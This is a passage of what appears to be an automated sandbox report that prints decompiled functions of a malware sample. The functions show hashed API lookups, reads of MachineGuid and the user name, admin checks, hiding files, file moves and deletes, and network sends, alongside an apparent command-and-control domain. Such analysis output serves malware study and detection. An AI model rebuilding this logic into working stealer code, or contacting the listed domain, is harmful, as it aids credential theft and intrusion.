				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e92
0x00412e9e
0x00412ea3
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNEL32(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Uniqueness

Uniqueness Score: -1.00%

Function 0041284A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041284A(void* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, int _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 2, 0xebb783d2, 0, 0);
				_t7 = SHRegSetPathW(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00412858
0x0041286c
0x0041286f

APIs

SHRegSetPathW.SHLWAPI(00000000,?,00000000,-80000001,00412D05,00000002,EBB783D2,00000000,00000000,5,A,00412D05,-80000001,00000000,5,A,00000000,00000000), ref: 0041286C

Strings

5,A, xrefs: 0041284A

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Path
String ID: 5,A
API String ID: 2875597873-3842761921
Opcode ID: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction ID: e513a9aa1dc03f827004651369457c754081445531a40a51076ab4492d9af12d
Opcode Fuzzy Hash: 985f833e562fc410bf8876cb62ef75c9432edfe987e4e1d4c2e5d722ffee7efc
Instruction Fuzzy Hash: 48D0C93214020DBBDF026EC1DC02F9A3F2AAB48754F004014BB18280A1D6B3A630ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNEL32(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNEL32(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00404056, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00404056(void* __ebx, intOrPtr _a4) {
				intOrPtr* _t5;
				void* _t6;
				void* _t14;

				_t14 = E00402B7C(0x208);
				if(_t14 == 0) {
					L4:
					return 0;
				}
				E00402B4E(_t14, 0, 0x208);
				_t5 = E004031E5(__ebx, 0xa, 0xc7f71852, 0, 0);
				_t6 =  *_t5(0, _a4, 0, 0, _t14); // executed
				if(_t6 != 0) {
					E00402BAB(_t14);
					goto L4;
				}
				return _t14;
			}

0x00404066
0x0040406b
0x004040a0
0x00000000
0x004040a0
0x00404072
0x00404083
0x0040408f
0x00404093
0x0040409a
0x00000000
0x0040409f
0x00000000

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,0000000A,C7F71852,00000000,00000000,00413CAD,0000001A,00000001), ref: 0040408F

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFolderPathProcess
String ID:
API String ID: 398210565-0
Opcode ID: 5a4567249377e1c5aacc7f09cc20ffc60836f4584ead4ee4f677cdbbf549426b
Instruction ID: 7d0b33caadbb1370849e9dfd1ecad86b360ac2e9a1dca59c17201c727c4e1007
Opcode Fuzzy Hash: 5a4567249377e1c5aacc7f09cc20ffc60836f4584ead4ee4f677cdbbf549426b
Instruction Fuzzy Hash: 57E06D6260156136D23129A7AC09D6B6E7DCBD3FA5B00003FF708F52C1D96D990281BA

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNEL32(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNEL32(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 004044A7, Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044A7(WCHAR* _a4, WCHAR* _a8, WCHAR* _a12, WCHAR* _a16, long _a20, WCHAR* _a24) {
				long _t9;
				void* _t10;

				E004031E5(_t10, 0, 0xf66be5a2, 0, 0);
				_t9 = GetPrivateProfileStringW(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t9;
			}

0x004044b4
0x004044cb
0x004044ce

APIs

GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?,00000000,F66BE5A2,00000000,00000000), ref: 004044CB

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction ID: e6a1e737d40be81796f932fb1ea6dd5b05bd2579ff383e5fb5a00b3a8c54de51
Opcode Fuzzy Hash: 4d7b33c0f443fd34e1b412248ee3a3a873a37a73c8fd0d440c03b52d081651e8
Instruction Fuzzy Hash: 52D0C27604410DBFDF025EE1DC05CAB3F6EEB48354B408425BE2895021D637DA71ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 004049B3, Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049B3(void* _a4, WCHAR* _a8, WCHAR* _a12, DWORD* _a16, void* _a20, DWORD* _a24) {
				int _t8;
				void* _t9;

				E004031E5(_t9, 2, 0xdc1011d7, 0, 0);
				_t8 = SHGetValueW(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t8;
			}

0x004049c1
0x004049d8
0x004049db

APIs

SHGetValueW.SHLWAPI(?,?,?,?,?,?,00000002,DC1011D7,00000000,00000000), ref: 004049D8

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction ID: 49132b90e07f175002bb52db16c83daeb6fc20f74050e769a3614ef6a11dfcc0
Opcode Fuzzy Hash: d2b5c774d03033d136a946971d24419cad296dffbc8af53813a044fec6ac893d
Instruction Fuzzy Hash: 71D0923214020DBBDF026ED1DC02FAA3F2AAB09758F104014FB18280A1C677D631AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 004049DC, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049DC(void* _a4, int _a8, WCHAR* _a12, DWORD* _a16) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 2, 0xeca4834b, 0, 0);
				_t6 = SHEnumKeyExW(_a4, _a8, _a12, _a16); // executed
				return _t6;
			}

0x004049ea
0x004049fb
0x004049fe

APIs

SHEnumKeyExW.SHLWAPI(?,?,?,?,00000002,ECA4834B,00000000,00000000), ref: 004049FB

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction ID: fb20b8ae34c3d99b6a2ec1f59af3280c7c0bbdac25ffdbb9458fe1f208d0831b
Opcode Fuzzy Hash: c447628955f84b1dbba2996d5b83f9d73ffd86954af03f25284de3baf63e54d0
Instruction Fuzzy Hash: 45D0023114430D7BEF115ED1DC06F597F1ABB49B54F104455BB18680E19673A6305755

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNEL32(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNEL32(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNEL32(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000011.00000002.2351105842.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

